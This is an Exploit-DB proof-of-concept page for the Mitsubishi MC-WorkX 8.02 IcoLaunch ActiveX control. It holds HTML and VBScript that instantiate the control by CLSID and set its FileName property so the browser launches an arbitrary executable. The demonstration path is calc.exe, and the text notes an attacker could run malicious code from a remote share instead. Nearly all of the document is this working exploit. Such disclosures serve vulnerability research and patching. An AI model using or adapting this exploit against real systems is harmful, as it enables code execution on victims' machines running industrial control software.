Mitsubishi MC-WorkX 8.02 - ActiveX Control 'IcoLaunch' File Execution

EDB-ID:

28284


Author:

blake

Type:

remote


Platform:

Windows

Date:

2013-09-15


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<html>
<object classid='clsid:C28A127E-4A85-11D3-A5FF-00A0249E352D' id='target'></object>
<!--
Mitsubishi MC-WorkX Suite Insecure ActiveX Control - IcoLaunch.dll
Vendor: http://www.meau.com
Version: MC-WorkX 8.02
Tested on: Windows XP SP3 / IE 6
Download: http://www.meau.com/functions/dms/getfile.asp?ID=035000000000000001000000908800000
Author: Blake

CLSID: C28A127E-4A85-11D3-A5FF-00A0249E352D
ProgId: ICOLAUNCHLib.LaunchCtl
Path: C:\Program Files\Mitsubishi Electric Automation\MC-WorX\Bin\IcoLaunch.dll
MemberName: FileName
Safe for scripting: True
Safe for init: True
Kill Bit: False
-->

<title>Mitsubishi MC-WorkX Suite Insecure ActiveX Control (IcoLaunch)</title>
<p>This proof of concept will launch an arbritrary executable when the Login Client button is clicked. An attacker could use this to have the victim launch malicious code from a remote share. Calc is used in this example.</p>

<script language='vbscript'>
file="C:\\WINDOWS\\system32\\calc.exe"
target.FileName = file
</script>